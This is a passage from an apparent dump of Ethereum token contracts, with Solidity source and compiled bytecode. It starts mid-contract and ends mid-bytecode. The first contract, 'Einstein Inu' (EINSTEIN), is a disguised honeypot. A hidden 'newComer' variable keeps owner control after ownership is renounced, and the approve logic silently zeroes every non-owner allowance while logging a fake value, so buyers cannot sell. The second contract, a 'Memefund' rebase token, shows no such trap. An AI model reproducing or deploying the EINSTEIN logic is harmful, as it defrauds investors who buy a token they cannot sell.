"Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract EINSTEIN is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 100* 10**9* 10**18; string private _name = 'Einstein Inu ' ; string private _symbol = 'EINSTEIN ' ; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220b889402d84cedf9726111ad661606439dfbb1f30f0a6463460f0d7e24469bd4164736f6c634300060c0033
{"success": true, "error": null, "results": {}}
10,726
0xddaddd4f73abc3a6552de43aba325f506232fa8a
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; library SafeMaths { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } } contract Memefund { using SafeMaths for uint256; address public rebaseOracle; // Used for authentication address public owner; // Used for authentication address public newOwner; uint8 public decimals; uint256 public totalSupply; string public name; string public symbol; uint256 private constant MAX_UINT256 = ~uint256(0); // (2^256) - 1 uint256 private constant MAXSUPPLY = ~uint128(0); // (2^128) - 1 uint256 private totalAtoms; uint256 private atomsPerMolecule; mapping (address => uint256) private atomBalances; mapping (address => mapping (address => uint256)) private allowedMolecules; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event LogRebase(uint256 _totalSupply); event LogNewRebaseOracle(address _rebaseOracle); event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { decimals = 9; // decimals totalSupply = 100000000*10**9; // initialSupply name = "Memefund"; // Set the name for display purposes symbol = "MFUND"; // Set the symbol for display purposes owner = msg.sender; totalAtoms = MAX_UINT256 - (MAX_UINT256 % totalSupply); // totalAtoms is a multiple of totalSupply so that atomsPerMolecule is an integer. atomBalances[msg.sender] = totalAtoms; atomsPerMolecule = totalAtoms.div(totalSupply); emit Transfer(address(0), msg.sender, totalSupply); } /** * @param newRebaseOracle The address of the new oracle for rebasement (used for authentication). */ function setRebaseOracle(address newRebaseOracle) external { require(msg.sender == owner, "Can only be executed by owner."); rebaseOracle = newRebaseOracle; emit LogNewRebaseOracle(rebaseOracle); } /** * @dev Propose a new owner. * @param _newOwner The address of the new owner. */ function transferOwnership(address _newOwner) public { require(msg.sender == owner, "Can only be executed by owner."); require(_newOwner != address(0), "0x00 address not allowed."); newOwner = _newOwner; } /** * @dev Accept new owner. */ function acceptOwnership() public { require(msg.sender == newOwner, "Sender not authorized."); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } /** * @dev Notifies Benchmark contract about a new rebase cycle. * @param supplyDelta The number of new molecule tokens to add into or remove from circulation. * @param increaseSupply Whether to increase or decrease the total supply. * @return The total number of molecules after the supply adjustment. */ function rebase(uint256 supplyDelta, bool increaseSupply) external returns (uint256) { require(msg.sender == rebaseOracle, "Can only be executed by rebaseOracle."); if (supplyDelta == 0) { emit LogRebase(totalSupply); return totalSupply; } if (increaseSupply == true) { totalSupply = totalSupply.add(supplyDelta); } else { totalSupply = totalSupply.sub(supplyDelta); } if (totalSupply > MAXSUPPLY) { totalSupply = MAXSUPPLY; } atomsPerMolecule = totalAtoms.div(totalSupply); emit LogRebase(totalSupply); return totalSupply; } /** * @param who The address to query. * @return The balance of the specified address. */ function balanceOf(address who) public view returns (uint256) { return atomBalances[who].div(atomsPerMolecule); } /** * @dev Transfer tokens to a specified address. * @param to The address to transfer to. * @param value The amount to be transferred. * @return True on success, false otherwise. */ function transfer(address to, uint256 value) public returns (bool) { require(to != address(0),"Invalid address."); require(to != address(this),"Molecules contract can't receive MARK."); uint256 atomValue = value.mul(atomsPerMolecule); atomBalances[msg.sender] = atomBalances[msg.sender].sub(atomValue); atomBalances[to] = atomBalances[to].add(atomValue); emit Transfer(msg.sender, to, value); return true; } /** * @dev Function to check the amount of tokens that an owner has allowed to a spender. * @param owner_ The address which owns the funds. * @param spender The address which will spend the funds. * @return The number of tokens still available for the spender. */ function allowance(address owner_, address spender) public view returns (uint256) { return allowedMolecules[owner_][spender]; } /** * @dev Transfer tokens from one address to another. * @param from The address you want to send tokens from. * @param to The address you want to transfer to. * @param value The amount of tokens to be transferred. */ function transferFrom(address from, address to, uint256 value) public returns (bool) { require(to != address(0),"Invalid address."); require(to != address(this),"Molecules contract can't receive MARK."); allowedMolecules[from][msg.sender] = allowedMolecules[from][msg.sender].sub(value); uint256 atomValue = value.mul(atomsPerMolecule); atomBalances[from] = atomBalances[from].sub(atomValue); atomBalances[to] = atomBalances[to].add(atomValue); emit Transfer(from, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of * msg.sender. This method is included for ERC20 compatibility. * IncreaseAllowance and decreaseAllowance should be used instead. * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { allowedMolecules[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Increase the amount of tokens that an owner has allowed to a spender. * This method should be used instead of approve() to avoid the double approval vulnerability. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { allowedMolecules[msg.sender][spender] = allowedMolecules[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, allowedMolecules[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner has allowed to a spender. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { uint256 oldValue = allowedMolecules[msg.sender][spender]; if (subtractedValue >= oldValue) { allowedMolecules[msg.sender][spender] = 0; } else { allowedMolecules[msg.sender][spender] = oldValue.sub(subtractedValue); } emit Approval(msg.sender, spender, allowedMolecules[msg.sender][spender]); return true; } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80638da5cb5b116100a2578063d4ee1d9011610071578063d4ee1d901461054e578063dd07a2a314610582578063dd62ed3e146105d0578063f2fde38b14610648578063f905448d1461068c57610116565b80638da5cb5b146103cf57806395d89b4114610403578063a457c2d714610486578063a9059cbb146104ea57610116565b8063313ce567116100e9578063313ce567146102a457806339509351146102c5578063644c156b1461032957806370a082311461036d57806379ba5097146103c557610116565b806306fdde031461011b578063095ea7b31461019e57806318160ddd1461020257806323b872dd14610220575b600080fd5b6101236106c0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610163578082015181840152602081019050610148565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ea600480360360408110156101b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061075e565b60405180821515815260200191505060405180910390f35b61020a610850565b6040518082815260200191505060405180910390f35b61028c6004803603606081101561023657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610856565b60405180821515815260200191505060405180910390f35b6102ac610c42565b604051808260ff16815260200191505060405180910390f35b610311600480360360408110156102db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c55565b60405180821515815260200191505060405180910390f35b61036b6004803603602081101561033f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e51565b005b6103af6004803603602081101561038357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc4565b6040518082815260200191505060405180910390f35b6103cd611021565b005b6103d7611229565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61040b61124f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561044b578082015181840152602081019050610430565b50505050905090810190601f1680156104785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104d26004803603604081101561049c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112ed565b60405180821515815260200191505060405180910390f35b6105366004803603604081101561050057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061157d565b60405180821515815260200191505060405180910390f35b610556611859565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105ba6004803603604081101561059857600080fd5b810190808035906020019092919080351515906020019092919050505061187f565b6040518082815260200191505060405180910390f35b610632600480360360408110156105e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a57565b6040518082815260200191505060405180910390f35b61068a6004803603602081101561065e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ade565b005b610694611c88565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107565780601f1061072b57610100808354040283529160200191610756565b820191906000526020600020905b81548152906001019060200180831161073957829003601f168201915b505050505081565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60035481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f496e76616c696420616464726573732e0000000000000000000000000000000081525060200191505060405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561097f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611ef86026913960400191505060405180910390fd5b610a0e82600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3b90919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000610aa560075484611dc490919063ffffffff16565b9050610af981600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3b90919063ffffffff16565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b8e81600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e4a90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600260149054906101000a900460ff1681565b6000610ce682600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e4a90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f14576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f43616e206f6e6c79206265206578656375746564206279206f776e65722e000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f22b25066c51ea7127ee35cd450c8903c071037ac478564ba60a09d01958c922660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b600061101a600754600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cac90919063ffffffff16565b9050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f53656e646572206e6f7420617574686f72697a65642e0000000000000000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112e55780601f106112ba576101008083540402835291602001916112e5565b820191906000526020600020905b8154815290600101906020018083116112c857829003601f168201915b505050505081565b600080600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083106113fd576000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611491565b6114108382611d3b90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611621576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f496e76616c696420616464726573732e0000000000000000000000000000000081525060200191505060405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116a6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611ef86026913960400191505060405180910390fd5b60006116bd60075484611dc490919063ffffffff16565b905061171181600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3b90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117a681600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e4a90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611926576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611ed36